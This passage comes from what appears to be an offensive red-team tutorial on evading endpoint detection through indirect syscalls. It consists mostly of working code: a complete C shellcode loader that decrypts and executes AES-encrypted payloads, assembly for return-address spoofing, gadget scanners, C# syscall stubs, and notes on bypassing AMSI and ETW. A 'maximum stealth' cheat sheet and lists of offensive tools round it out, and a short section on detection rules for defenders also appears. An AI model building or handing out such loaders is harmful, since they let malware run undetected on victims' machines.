├── aes.h / aes.c ← AES-128 decryption
└── loader.vcxproj
10.2 loader.c — Complete Implementation
// [C] loader.c — Complete Indirect Syscall Shellcode Loader
// Combines: AES decrypt + Halo's Gate + HellHall indirect syscalls
#include <windows.h>
#include <stdio.h>
#include "hellhall.h"
#include "aes.h"
// AES-128 encrypted shellcode + key + IV
// Replace with your own: msfvenom -p windows/x64/exec CMD=calc.exe -f raw | python3 aes_encrypt.py
unsigned char g_Shellcode[] = {
/* your AES-encrypted shellcode bytes here */
0xDE, 0xAD, 0xBE, 0xEF, /* ... */
};
SIZE_T g_ShellcodeSize = sizeof(g_Shellcode);
unsigned char g_AesKey[] = {
0x4A, 0x3F, 0x2B, 0x1C, 0xDE, 0xAD, 0xBE, 0xEF,
0xCA, 0xFE, 0xBA, 0xBE, 0x13, 0x37, 0x42, 0x00
};
unsigned char g_AesIv[] = {
0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF
};
// NT function typedefs
typedef NTSTATUS (NTAPI *pNtWaitForSingleObject)(
HANDLE Handle, BOOLEAN Alertable, PLARGE_INTEGER Timeout);
int main(void) {
printf("[*] Indirect Syscall Loader — HellHall + Halo's Gate\n");
// ── STEP 1: Resolve syscalls via Halo's Gate ──────────────────────────
HALO_SYSCALL scAlloc = {0}, scWrite = {0};
HALO_SYSCALL scProt = {0}, scThread = {0};
HALO_SYSCALL scWait = {0};
if (!HalosGate_GetSyscall("NtAllocateVirtualMemory", &scAlloc)) goto fail;
if (!HalosGate_GetSyscall("NtWriteVirtualMemory", &scWrite)) goto fail;
if (!HalosGate_GetSyscall("NtProtectVirtualMemory", &scProt)) goto fail;
if (!HalosGate_GetSyscall("NtCreateThreadEx", &scThread)) goto fail;
if (!HalosGate_GetSyscall("NtWaitForSingleObject", &scWait)) goto fail;
printf("[+] SSNs resolved:\n");
printf(" NtAllocateVirtualMemory : 0x%02X\n", scAlloc.SSN);
printf(" NtWriteVirtualMemory : 0x%02X\n", scWrite.SSN);
printf(" NtProtectVirtualMemory : 0x%02X\n", scProt.SSN);
printf(" NtCreateThreadEx : 0x%02X\n", scThread.SSN);
// ── STEP 2: Decrypt shellcode ──────────────────────────────────────────
unsigned char *pShellcode = (unsigned char*)LocalAlloc(LMEM_FIXED, g_ShellcodeSize);
if (!pShellcode) goto fail;
memcpy(pShellcode, g_Shellcode, g_ShellcodeSize);
AES_CBC_decrypt(pShellcode, g_ShellcodeSize, g_AesKey, g_AesIv);
printf("[+] Shellcode decrypted (%zu bytes)\n", g_ShellcodeSize);
// ── STEP 3: Allocate RW memory (indirect syscall) ─────────────────────
PVOID base = NULL;
SIZE_T rSize = g_ShellcodeSize;
HANDLE hProc = (HANDLE)-1;
PrepareSyscall(scAlloc.SSN, scAlloc.SyscallAddr);
NTSTATUS st = HellHall(hProc, &base, 0, &rSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(st)) { printf("[-] NtAllocateVirtualMemory: 0x%X\n", st); goto fail; }
printf("[+] Allocated memory at: %p (RW)\n", base);
// ── STEP 4: Write shellcode (indirect syscall) ────────────────────────
SIZE_T written = 0;
PrepareSyscall(scWrite.SSN, scWrite.SyscallAddr);
st = HellHall(hProc, base, pShellcode, g_ShellcodeSize, &written);
LocalFree(pShellcode);
if (!NT_SUCCESS(st)) { printf("[-] NtWriteVirtualMemory: 0x%X\n", st); goto fail; }
printf("[+] Shellcode written (%zu bytes)\n", written);
// ── STEP 5: RW → RX (no RWX) (indirect syscall) ──────────────────────
DWORD oldProt = 0;
SIZE_T protSize = g_ShellcodeSize;
PrepareSyscall(scProt.SSN, scProt.SyscallAddr);
st = HellHall(hProc, &base, &protSize, PAGE_EXECUTE_READ, &oldProt);
if (!NT_SUCCESS(st)) { printf("[-] NtProtectVirtualMemory: 0x%X\n", st); goto fail; }
printf("[+] Memory changed to RX\n");
// ── STEP 6: Create execution thread (indirect syscall) ────────────────
HANDLE hThread = NULL;
PrepareSyscall(scThread.SSN, scThread.SyscallAddr);
st = HellHall(
&hThread, THREAD_ALL_ACCESS, NULL,
hProc, (PVOID)base, NULL, FALSE,
0, 0, 0, NULL
);
if (!NT_SUCCESS(st)) { printf("[-] NtCreateThreadEx: 0x%X\n", st); goto fail; }
printf("[+] Thread created: %p\n", hThread);
// ── STEP 7: Wait for thread (indirect syscall) ────────────────────────
LARGE_INTEGER timeout = { .QuadPart = -10000000LL * 10 }; // 10 seconds
PrepareSyscall(scWait.SSN, scWait.SyscallAddr);
st = HellHall(hThread, FALSE, &timeout);
printf("[+] Done.\n");
return 0;
fail:
printf("[-] Failed. Exiting.\n");
return 1;
}
11. Call Stack Spoofing — The Next Layer After Indirect Syscalls
Indirect syscalls clean up the top frame of the call stack (making ntdll appear at the top). But advanced EDRs also inspect frames deeper in the stack. If frame #3 in the call stack points to an anonymous RWX region (your shellcode page), you're still caught.
Call stack spoofing manipulates the return addresses on the stack to make the ENTIRE call chain appear to come from legitimate signed modules.
11.1 The Remaining IOC After Indirect Syscalls
CALL STACK with only indirect syscalls (partial clean):
Frame 0: ntdll!NtAllocateVirtualMemory+0x8 ← Clean (ntdll from indirect syscall)
Frame 1: 0x000001a345678901 ← YOUR LOADER (suspicious if unbacked)
Frame 2: 0x000000000000 ← Nothing (anomalous)
EDR stack walk sees Frame 1 = anonymous memory → STILL FLAGGED
11.2 Simple Return Address Spoofing
The simplest approach: before calling your indirect syscall stub, overwrite the return address on the stack with an address inside a legitimate module:
; [ASM] Simple return address spoof — RtlUserThreadStart gadget technique
SpoofedIndirectSyscall PROC
; Step 1: Find a suitable return gadget in KernelBase.dll
; e.g., KernelBase!ProcessIdToSessionId+0x96
; This is an address that looks like a normal call site
; Step 2: Overwrite [RSP] with the gadget address
mov r11, [rsp] ; Save real return address in R11
mov rax, qKernelBaseGadget ; Spoofed return address from KernelBase
mov [rsp], rax ; Replace return address on stack
; Step 3: Set up SSN and args, then JMP into ntdll
mov r10, rcx
mov eax, dwSSN
jmp QWORD PTR [pSyscallAddr]
; After syscall returns (via ntdll ret):
; The "return" goes to KernelBase gadget, which then returns normally
SpoofedIndirectSyscall ENDP
11.3 Finding Gadget Addresses
// [C] Find a suitable return address gadget in a trusted module
// Target: a RET gadget in kernel32 / KernelBase that looks like a call site
// Typically: an instruction after a CALL that we can fake as our return point
PVOID FindReturnGadget(PCSTR moduleName) {
HMODULE hMod = GetModuleHandleA(moduleName);
if (!hMod) return NULL;
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hMod;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)hMod + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (memcmp(pSec->Name, ".text", 5) == 0) {
PBYTE start = (PBYTE)hMod + pSec->VirtualAddress;
DWORD size = pSec->Misc.VirtualSize;
// Find: FF D0 (call rax) or E8 xx xx xx xx (call relative)
// followed by code — the address AFTER the call is a valid "return from" point
for (DWORD j = 0; j < size - 5; j++) {
// Look for CALL instruction followed by something:
if (start[j] == 0xFF && start[j+1] == 0xD0) {
// "call rax" found — address of next instruction is valid gadget
return (PVOID)(start + j + 2);
}
}
}
pSec++;
}
return NULL;
}
// In practice: hardcode a known stable address
// KernelBase!BaseThreadInitThunk+0x14 is commonly used
PVOID g_KernelBaseGadget = NULL;
BOOL InitGadgets(void) {
HMODULE hKernelBase = GetModuleHandleA("KernelBase.dll");
PBYTE pFn = (PBYTE)GetProcAddress(hKernelBase, "BaseThreadInitThunk");
if (!pFn) return FALSE;
// BaseThreadInitThunk+0x14 is a stable return point used by SilentMoonwalk
g_KernelBaseGadget = (PVOID)(pFn + 0x14);
return TRUE;
}
12. SilentMoonwalk — Full Call Stack Desync Spoofing
SilentMoonwalk is a PoC (klezVirus, 2023) that uses ROP-based stack desynchronization to completely remove the original caller from the call stack — not just replacing frames but making unwinding give a different call path than the actual execution path.
- GitHub:
github.com/klezVirus/SilentMoonwalk - Technique: Desynchronize Windows stack unwinding from actual control flow using ROP gadgets
- Result: The call stack produced by exception-based unwinding (which EDRs use) shows a completely different, legitimate path
12.1 Concept: Sync vs Desync Stacks
SYNCHRONIZED STACK (what exists in memory, what debugger sees):
Frame 0: ntdll!NtAllocateVirtualMemory+0x8 ← indirect syscall (clean)
Frame 1: YourLoader!InjectShellcode+0x3a ← real frame (may be bad)
Frame 2: YourLoader!main+0x12
DESYNCHRONIZED STACK (SilentMoonwalk — what Windows unwind sees):
Frame 0: ntdll!NtAllocateVirtualMemory+0x8 ← same top
Frame 1: ntdll!RtlUserThreadStart+0x21 ← fake frame (unwind diverges)
[unwind ends — no more frames]
The EXE is completely absent from what unwinding reveals.
EDR uses EXCEPTION-based unwinding → sees the desync stack → misses your loader.
12.2 SilentMoonwalk Usage
// [C] SilentMoonwalk pattern — using the desync spoofer
// Clone: git clone https://github.com/klezVirus/SilentMoonwalk
// Requires: klezVirus/SilentMoonwalk main.cpp + spoof.h
// The spoofer wraps your function call:
// SpoofCall(&NtAllocateVirtualMemory, args...);
// → sets up desync stack → calls your function → cleans up
// Alternatively, using the Unwinder Rust crate for the same technique
// indirect_syscall!(NtAllocateVirtualMemory, processHandle, &base, ...)
12.3 Stack Comparison (Visual)
────────────────────────────────────────────────────────
METHOD | CALL STACK TOP 3 FRAMES
────────────────────────────────────────────────────────
Normal ntdll call | ntdll!NtXxx → kernel32!... → your code
Direct syscall | your.exe!stub → your.exe!main
Indirect syscall | ntdll!NtXxx → your.exe!main
+ Simple spoof | ntdll!NtXxx → kernelbase!gadget → your.exe
+ SilentMoonwalk | ntdll!NtXxx → ntdll!RtlUserThreadStart (done)
────────────────────────────────────────────────────────
13. HookChain — IAT-Layer Indirect Syscalls (DEF CON 32, 2024)
HookChain (Helvio Carvalho Junior, DEF CON 32, Aug 2024) is a major advancement that operates at a higher layer than ntdll — it hooks the Import Address Table (IAT) of the subsystem DLLs (like kernel32.dll) to redirect execution through HookChain's own code, which then uses indirect syscalls to bypass ntdll hook checks entirely.
- Paper:
arxiv.org/pdf/2404.16856 - GitHub:
github.com/helviojunior/hookchain - EDR bypass rate: 88% success across 26 tested EDR solutions at time of release
13.1 Why HookChain Is Different
Most EDRs only hook ntdll.dll. HookChain operates above ntdll — in the subsystem layer (kernel32, KernelBase, etc.) — and transparently redirects all calls through its own handler, which uses indirect syscalls:
NORMAL EDR MODEL (hooks ntdll):
Your App → kernel32!VirtualAlloc → ntdll!NtAllocateVirtualMemory ← [EDR hook]
↓
EDR analysis
↓
syscall
HOOKCHAIN MODEL (bypasses ntdll hook by operating above it):
Your App → kernel32!VirtualAlloc
↓
[IAT redirected to HookChain handler]
↓
HookChain resolves SSN (dynamic, Halo's Gate)
+ locates ntdll syscall gadget (indirect approach)
↓
[JMP to ntdll syscall instruction] ← ntdll hook NEVER called
↓
Kernel
13.2 HookChain Core Components
1. IAT Hooking:
- Parses and modifies the Import Address Table of loaded DLLs
- Redirects all Nt* function calls to HookChain's own handler
- No code modification needed in the calling application
2. Dynamic SSN Resolution (Halo's Gate):
- Uses NtAllocateReserveObject as seed function for SSN discovery
- Dynamically resolves all needed SSNs without hardcoding
3. Indirect Syscall Execution:
- HookChain's handler uses indirect syscalls to call the kernel
- The ntdll hooks that EDRs rely on are completely bypassed
- Call stack appears to come from ntdll (legitimate)
13.3 HookChain Usage
# [TOOL] Build and run HookChain
git clone https://github.com/helviojunior/hookchain
cd hookchain
# Build with MSVC (Visual Studio 2022)
# Open hookchain.sln, Build → Release x64
# Run against a target process PID
./HookChain.exe <PID>
# Or inject into current process context
./HookChain.exe
// [C] HookChain API (from helviojunior/hookchain)
#include "HookChain.h"
// Initialize HookChain (sets up IAT hooks, resolves SSNs and syscall gadgets)
if (!InitApi()) {
printf("[-] HookChain InitApi failed\n");
return 1;
}
// After InitApi(), ALL subsequent Win32 API calls automatically
// go through HookChain's indirect syscall handler
// No changes to your existing code needed
PVOID pMem = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// ↑ This goes through HookChain → indirect syscall → kernel (no ntdll hook hit)
13.4 Post-HookChain Evolution — LACUNA Chain (2026)
After EDR vendors responded to HookChain by moving to kernel callbacks and ETW-Ti STACKWALK mode, the LACUNA Chain technique (Mohamed Alzhrani, 2026) was developed as the next evolution:
LACUNA Chain components:
1. IAT manipulation (like HookChain)
2. Dynamic SSN resolution (Halo's Gate)
3. Indirect syscalls (for clean return address)
4. Full call stack spoofing (synthetic frames — full chain spoof)
5. ETW-Ti APC Window Attack (exploits async ETW delivery timing)
6. Encrypted syscall parameters (decrypt only at syscall via VEH)
7. Shadow stack aware (CET-compatible frame manipulation)
Result: Bypassed Elastic EDR, Bitdefender, and Kaspersky Endpoint Security
on Windows 11 22H2 with CET + Sysmon v15 + ETW-Ti STACKWALK active
14. Combining Indirect Syscalls with Other Evasion Layers
Indirect syscalls are rarely used alone in real red team operations. They are one layer in a multi-layer evasion stack.
14.1 Recommended Evasion Stack (2024–2025)
┌─────────────────────────────────────────────────────────────────────┐
│ LAYER 7 (C2 Infrastructure): Domain fronting, redirectors, HTTPS │
│ │
│ LAYER 6 (Delivery): ScareCrow / Freeze loader wrapping │
│ Signed binary sideloading / Module stomping │
│ │
│ LAYER 5 (Sleep Evasion): Ekko / Foliage sleep obfuscation │
│ Encrypted memory during sleep │
│ │
│ LAYER 4 (Stack Spoofing): SilentMoonwalk / synthetic frame spoof │
│ Gadget-based return address replacement │
│ │
│ LAYER 3 (Syscall Evasion): Indirect Syscalls (this document) │
│ HellHall + Halo's Gate │
│ │
│ LAYER 2 (Payload): AES/XOR encrypted shellcode │
│ Anti-sandbox delays, env checks │
│ │
│ LAYER 1 (Memory): Module stomping / No RWX pages │
│ NtCreateSection instead of NtAllocateVirtual │
└─────────────────────────────────────────────────────────────────────┘
14.2 NtCreateSection — Avoiding NtAllocateVirtualMemory Entirely
NtAllocateVirtualMemory is one of the most heavily monitored syscalls. An alternative is to use NtCreateSection + NtMapViewOfSection which creates memory backed by a section object (appears more legitimate):
// [C] Use NtCreateSection instead of NtAllocateVirtualMemory for stealth
// This pair creates a section and maps it into memory — less suspicious
// than VirtualAlloc/NtAllocateVirtualMemory for some EDR triggers
HALO_SYSCALL scCreateSection = {0}, scMapView = {0};
HalosGate_GetSyscall("NtCreateSection", &scCreateSection);
HalosGate_GetSyscall("NtMapViewOfSection", &scMapView);
HANDLE hSection = NULL;
LARGE_INTEGER sectionSize = { .QuadPart = (LONGLONG)shellcodeSize };
// Create section (indirect syscall)
PrepareSyscall(scCreateSection.SSN, scCreateSection.SyscallAddr);
NTSTATUS st = HellHall(
&hSection,
SECTION_ALL_ACCESS,
NULL,
§ionSize,
PAGE_EXECUTE_READWRITE,
SEC_COMMIT,
NULL
);
// Map into current process (indirect syscall)
PVOID base = NULL;
SIZE_T viewSize = 0;
LARGE_INTEGER offset = { 0 };
PrepareSyscall(scMapView.SSN, scMapView.SyscallAddr);
st = HellHall(
hSection,
(HANDLE)-1,
&base,
0,
0,
&offset,
&viewSize,
ViewShare,
0,
PAGE_EXECUTE_READWRITE
);
14.3 AMSI/ETW Bypass via Hardware Breakpoints (Complementary)
// [C] AMSI + ETW bypass using hardware breakpoints
// Works alongside indirect syscalls to suppress behavioral logging
// Concept:
// 1. Set a hardware breakpoint on AmsiScanBuffer (AMSI bypass)
// 2. Set a hardware breakpoint on NtTraceEvent (ETW bypass)
// 3. VEH (Vectored Exception Handler) catches the break and patches return value
// 4. Combined with indirect syscalls → no AMSI scan + no ETW logging
// Reference: Havoc C2 uses this technique:
// github.com/HavocFramework/Havoc → demon/src/include/Demon.h
// Setup in Havoc's context:
// BOOL SetHardwareBreakpointOnAmsi() — see Havoc source
// Combined with Indirect Syscalls → DemonConfig.Injection.IndirectSyscall = TRUE
15. EDR Detection of Indirect Syscalls — What Defenders See
Understanding how your technique gets detected is essential for red teamers.
15.1 Detection Vectors for Indirect Syscalls
[DETECT] Vector 1: Return Address Still Points to Your Code
─ While the syscall fires from ntdll, the RETURN (after ntdll's ret)
goes back into YOUR loader's memory
─ ETW-Ti captures this via STACKWALK events
─ If frame #1 (below ntdll) is in anonymous memory → flagged
[DETECT] Vector 2: Unusual ntdll Entry Point
─ Legitimate calls enter ntdll!NtXxx at offset 0x00 (top of function)
─ Indirect syscalls enter at offset 0x08 (mid-function, at syscall)
─ Advanced EDRs check "did execution enter ntdll through the function start?"
─ This is the basis of VEH-based indirect syscall detection (xacone.github.io)
[DETECT] Vector 3: SSN Scanning (Patch Guard on SSN values)
─ EDRs can monitor specific syscall numbers for known-sensitive operations
─ e.g., NtCreateThreadEx SSN 0xC2 appearing from untrusted memory
[DETECT] Vector 4: ETW-Ti STACKWALK Mode
─ Collects FULL user-mode call stack at kernel boundary
─ Not defeatable by indirect syscalls alone
─ Requires call stack spoofing to defeat
[DETECT] Vector 5: Memory Region Backing Check
─ Frame #1 (below ntdll) is checked: is it in a signed PE?
─ If it's in anonymous RWX memory or your loader → suspicious
─ Module stomping can help (shellcode in a legitimate DLL's memory)
15.2 Tools to Test Your Indirect Syscall Loader
# [TOOL] pe-sieve — scan for hooks and unusual memory regions
pe-sieve.exe /pid <your_loader_pid> /report report.json
# Shows: hooked functions, injected code, memory anomalies
# [TOOL] MonetaV5 — runtime memory scanner
Moneta.exe -m ioc -p <pid>
# Detects: unbacked memory, RWX regions, anomalous stack frames
# [TOOL] Fenrir — call stack inspection tool
Fenrir.exe -p <pid>
# Shows: full call stack of all threads, highlights anomalous frames
# [TOOL] Process Hacker 2 / System Informer
# → Right-click process → Properties → Threads → Stack
# Shows: live call stack, flags unusual frames
# [TOOL] x64dbg
# Set breakpoint at ntdll!NtAllocateVirtualMemory+0x8 (syscall instruction)
# When it hits → check call stack (k command in WinDbg)
# Verify: frame 1 should be in ntdll or your legitimate gadget
15.3 Detection Rule (Defender Perspective)
// Pseudo-detection logic for indirect syscalls
ALERT if:
syscall instruction fires from ntdll.dll
AND return address (frame[1]) is NOT in a known signed module
AND process is NOT a system process
OR:
ETW-Ti STACKWALK shows frame[n] pointing to anonymous RWX memory
AND the syscall was a sensitive NT operation
(NtAllocateVirtualMemory, NtCreateThreadEx, NtWriteVirtualMemory)
OR:
ntdll!NtXxx was entered at offset != 0x00 (entry into the middle of a function)
AND via a JMP instruction rather than CALL
16. Indirect Syscalls in .NET / C# (D/Invoke)
For .NET/C# offensive tools (SharpXxx, BOFs for .NET), D/Invoke provides the equivalent of indirect syscalls without the need for raw MASM stubs.
16.1 D/Invoke Overview
D/Invoke (TheWover) dynamically invokes native functions by locating them in memory without using P/Invoke (which shows up in IAT and is easily hooked). It supports indirect syscalls via its GetSyscallStub method.
// [CS] D/Invoke — Indirect Syscall in C#
// NuGet: DInvoke OR include from github.com/TheWover/DInvoke
using DInvoke.DynamicInvoke;
using DInvoke.Data;
class IndirectSyscallExample {
// Get SSN for NtAllocateVirtualMemory using D/Invoke
static IntPtr AllocateWithIndirectSyscall(int size) {
// Step 1: Get a delegate pointing to the real ntdll function
// D/Invoke parses PEB → loads ntdll → finds export
IntPtr pNtAlloc = Generic.GetLibraryAddress("ntdll.dll", "NtAllocateVirtualMemory");
// Step 2: Get syscall stub — D/Invoke resolves SSN and builds indirect stub
IntPtr syscallStub = Generic.GetSyscallStub("NtAllocateVirtualMemory");
// This returns a pointer to a small thunk that JMPs into ntdll's syscall
// Step 3: Create delegate from stub
var ntAlloc = Marshal.GetDelegateForFunctionPointer<
DynStructs.NtAllocateVirtualMemory>(syscallStub);
// Step 4: Call via delegate (indirect syscall fires)
IntPtr baseAddr = IntPtr.Zero;
IntPtr regionSize = new IntPtr(size);
UInt32 status = ntAlloc(
(IntPtr)(-1), // Current process
ref baseAddr,
IntPtr.Zero,
ref regionSize,
(UInt32)(Win32.Kernel32.MEM_COMMIT | Win32.Kernel32.MEM_RESERVE),
(UInt32)Win32.WinNT.PAGE_READWRITE
);
if (status != 0) return IntPtr.Zero;
return baseAddr;
}
}
16.2 Manual Syscall Stub in C# (SharpSploit Pattern)
// [CS] Manual indirect syscall in C# using unsafe + pointer tricks
// No external library needed
using System;
using System.Runtime.InteropServices;
class RawSyscall {
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate uint NtAllocDelegate(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
UIntPtr ZeroBits,
ref UIntPtr RegionSize,
uint AllocationType,
uint Protect
);
static unsafe IntPtr AllocateViaIndirectSyscall(int size) {
// Resolve ntdll function address
IntPtr ntdll = LoadLibrary("ntdll.dll");
IntPtr funcAddr = GetProcAddress(ntdll, "NtAllocateVirtualMemory");
// Validate: unhooked? (4C 8B D1 B8 ...)
byte* funcBytes = (byte*)funcAddr.ToPointer();
if (funcBytes[0] != 0x4C || funcBytes[3] != 0xB8) {
throw new Exception("NtAllocateVirtualMemory appears hooked!");
}
// Read SSN
uint ssn = *(uint*)(funcAddr + 4);
// Build indirect syscall stub in RWX memory
// Stub: mov r10, rcx | mov eax, SSN | JMP [ntdll_syscall_addr]
byte[] stub = new byte[24];
stub[0] = 0x4C; stub[1] = 0x8B; stub[2] = 0xD1; // mov r10, rcx
stub[3] = 0xB8; // mov eax,
BitConverter.GetBytes(ssn).CopyTo(stub, 4); // SSN
stub[8] = 0xFF; stub[9] = 0x25; // JMP [RIP+0]
stub[10] = 0x00; stub[11] = 0x00; stub[12] = 0x00; stub[13] = 0x00;
// absolute address of ntdll syscall gadget
IntPtr syscallGadget = funcAddr + 8;
BitConverter.GetBytes(syscallGadget.ToInt64()).CopyTo(stub, 14);
// Allocate and copy stub
IntPtr pStub = VirtualAlloc(IntPtr.Zero, (UIntPtr)stub.Length,
0x3000, 0x40); // RWX
Marshal.Copy(stub, 0, pStub, stub.Length);
// Cast to delegate and call
var ntAlloc = Marshal.GetDelegateForFunctionPointer<NtAllocDelegate>(pStub);
IntPtr baseAddr = IntPtr.Zero;
UIntPtr regionSize = new UIntPtr((uint)size);
uint status = ntAlloc((IntPtr)(-1), ref baseAddr, UIntPtr.Zero,
ref regionSize, 0x3000, 0x04);
VirtualFree(pStub, UIntPtr.Zero, 0x8000);
if (status != 0) return IntPtr.Zero;
return baseAddr;
}
[DllImport("kernel32")] static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")] static extern IntPtr GetProcAddress(IntPtr h, string n);
[DllImport("kernel32")] static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, uint t, uint p);
[DllImport("kernel32")] static extern bool VirtualFree(IntPtr a, UIntPtr s, uint t);
}
17. win32u.dll — Alternative Gadget Source When ntdll Is RW
During DLL unhooking operations, you need to mark ntdll's .text section as RW to copy a fresh version over the hooked bytes. During this window, the ntdll syscall gadget you were using is now in RW memory — you can't execute from it.
Solution: use win32u.dll as an alternative source of syscall gadgets.
// [C] win32u.dll as alternative syscall gadget source
// Used by AtomLdr (github.com/NUL0x4C/AtomLdr)
// win32u.dll is a thin Win32k.sys wrapper that also contains syscall stubs
// Unlike ntdll, it's typically NOT included in the unhooking routine
// → Its .text section stays RX → can still execute syscall from it
PVOID GetSyscallGadgetFromWin32u(void) {
// win32u.dll must be loaded (it's a static import in most GUI apps,
// but you may need to LoadLibrary it explicitly)
HMODULE hWin32u = LoadLibraryA("win32u.dll");
if (!hWin32u) return NULL;
// Scan .text for syscall;ret (0F 05 C3)
return FindSyscallGadgetInModule(hWin32u);
}
PVOID FindSyscallGadgetInModule(HMODULE hMod) {
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hMod;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)hMod + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (pSec->Characteristics & IMAGE_SCN_CNT_CODE) {
PBYTE start = (PBYTE)hMod + pSec->VirtualAddress;
DWORD size = pSec->Misc.VirtualSize;
for (DWORD j = 0; j < size - 2; j++) {
if (start[j] == 0x0F && start[j+1] == 0x05 && start[j+2] == 0xC3) {
return (PVOID)(start + j);
}
}
}
pSec++;
}
return NULL;
}
// Usage in unhooking flow:
void UnhookAndKeepIndirectSyscalls(void) {
// 1. Load win32u.dll and get its syscall gadget
PVOID win32uGadget = GetSyscallGadgetFromWin32u();
// 2. Switch all indirect syscall stubs to use win32u gadget
for (int i = 0; i < numSyscalls; i++) {
syscallEntries[i].SyscallAddr = win32uGadget;
}
// 3. Now perform ntdll unhooking (marks ntdll .text as RW temporarily)
UnhookNtdll();
// 4. After unhooking, switch back to ntdll gadgets (now clean/unhooked)
for (int i = 0; i < numSyscalls; i++) {
ResolveIndirectSyscall(syscallEntries[i].Name, &syscallEntries[i]);
}
}
18. Tool Arsenal for Indirect Syscalls
18.1 Generators and Frameworks
| Tool | URL | What It Does |
|---|---|---|
| SysWhispers3 | github.com/klezVirus/SysWhispers3 |
Automated syscall stub generator with --method jumper (indirect) and egg_hunter modes |
| HellHall | github.com/Maldev-Academy/HellHall |
Combined Hell's Gate + indirect syscall PoC (C + MASM) |
| MaldevAcademyLdr.1 | github.com/Maldev-Academy/MaldevAcademyLdr.1 |
Full loader with HellHall, DLL unhooking, AES, IAT obfuscation |
| AtomLdr | github.com/NUL0x4C/AtomLdr |
DLL loader with HellHall + win32u.dll gadget fallback |
| DInvoke | github.com/TheWover/DInvoke |
.NET dynamic invocation with GetSyscallStub (indirect) |
| SysWhispers4 | github.com/joasasantos/SysWhispers4 |
Next-gen: FreshyCalls + indirect + randomized gadgets |
| NimlineWhispers3 | github.com/klezVirus/NimlineWhispers3 |
SysWhispers3 output adapted for Nim (-m jumper) |
18.2 Call Stack Spoofing Tools
| Tool | URL | What It Does |
|---|---|---|
| SilentMoonwalk | github.com/klezVirus/SilentMoonwalk |
Full desync call stack spoofer (use with indirect syscalls) |
| VulcanRaven | github.com/WithSecureLabs/VulcanRaven |
Synthetic call stack mirroring |
| CallStackSpoofer | github.com/WithSecureLabs/CallStackSpoofer |
Timer-based call stack spoofing at rest |
| DarkWidow | github.com/reveng007/DarkWidow |
Indirect syscall + APC injection + stack spoof PoC |
| hw-call-stack | github.com/fortra/hw-call-stack |
Hardware breakpoint based stack spoof |
18.3 Advanced / Research
| Tool | URL | What It Does |
|---|---|---|
| HookChain | github.com/helviojunior/hookchain |
IAT-layer + indirect syscall EDR bypass (DEF CON 32) |
| Freeze | github.com/optiv/Freeze |
AMSI/ETW bypass loader with indirect syscall support |
| ScareCrow | github.com/optiv/ScareCrow |
EDR-bypassing loader generator, supports indirect syscall mode |
| Havoc C2 | github.com/HavocFramework/Havoc |
C2 framework with built-in indirect syscall + HWBP AMSI bypass |
18.4 Detection / Blue Team
| Tool | URL | What It Does |
|---|---|---|
| pe-sieve | github.com/hasherezade/pe-sieve |
Detect hooks, injections, indirect syscall anomalies |
| Moneta | github.com/forrest-orr/moneta |
Runtime IOC scanner — finds unbacked memory / stack anomalies |
| BEOTM | github.com/xacone/BeatTheEDRMethods |
VEH-based indirect syscall catcher (detects HellHall entry point) |
19. Technique Evolution Timeline
2019
│ Hell's Gate (am0nsec) — Dynamic SSN resolution from ntdll
│ Problem: only solves SSN, still direct syscall execution
│
2021
│ Halo's Gate — SSN recovery when function is hooked (neighbor scan)
│ FreshyCalls / RecycledGate — EAT-based SSN sorting
│
2021-2022
│ INDIRECT SYSCALLS emerge as standard practice
│ Key insight: JMP into ntdll syscall instead of calling your own
│ EDRs start inspecting call stacks in response
│
Jan 2023
│ HellHall (MaldevAcademy) — Hell's Gate + Indirect Syscall combined
│ "Performing Indirect Clean Syscalls" — canonical PoC
│
2023
│ SilentMoonwalk — full desync call stack spoofing
│ Stack unwinding shows completely different path than execution
│ SysWhispers3 jumper/egg_hunter modes publicly available
│ CallStackSpoofer (WithSecure) — timer-based at-rest spoofing
│
Aug 2024
│ HookChain (DEF CON 32) — operates ABOVE ntdll (IAT layer)
│ 88% EDR bypass rate across 26 solutions
│ Forces EDR vendors to abandon userland hooks → move to kernel
│
2025
│ CET-compliant stack spoofing research (Black Hat Europe 2025)
│ BYOUD framework — first known CET-compliant stack spoof
│ EDRs shift fully to kernel callbacks + ETW-Ti STACKWALK
│
Jun 2026
│ LACUNA Chain — defeats ETW-Ti STACKWALK
│ Encrypted params + APC timing window attack + full desync spoof
│ Bypasses Elastic EDR, Bitdefender, Kaspersky on Win11 + CET
20. Cheat Sheet
Indirect Syscall Technique Selection Guide
SITUATION → TECHNIQUE
EDR uses basic hook inspection:
→ SysWhispers3 jumper mode (--method jumper)
EDR checks return address after syscall:
→ Simple return address spoof (KernelBase gadget replacement)
EDR scans memory for 0F 05 (syscall bytes):
→ SysWhispers3 egg_hunter mode (--method egg_hunter)
ntdll functions are hooked (E9 JMP at start):
→ HellHall (Hell's Gate neighbor scan + indirect JMP into neighbor's syscall)
Need full call stack legitimacy:
→ SilentMoonwalk desync spoofing + indirect syscalls
EDR operates below ntdll level:
→ HookChain (IAT-layer redirect, DEF CON 32 technique)
Need .NET offensive tool:
→ D/Invoke GetSyscallStub (indirect syscall in C#)
Performing ntdll unhooking (ntdll becomes RW during process):
→ win32u.dll gadget fallback (Section 17)
Maximum stealth (modern EDR, ETW-Ti STACKWALK):
→ Indirect syscalls + SilentMoonwalk + AMSI/ETW HWBP bypass
+ module stomping + encrypted shellcode + LACUNA-style APC attack
Direct vs. Indirect Syscall — At a Glance
DIRECT SYSCALL INDIRECT SYSCALL
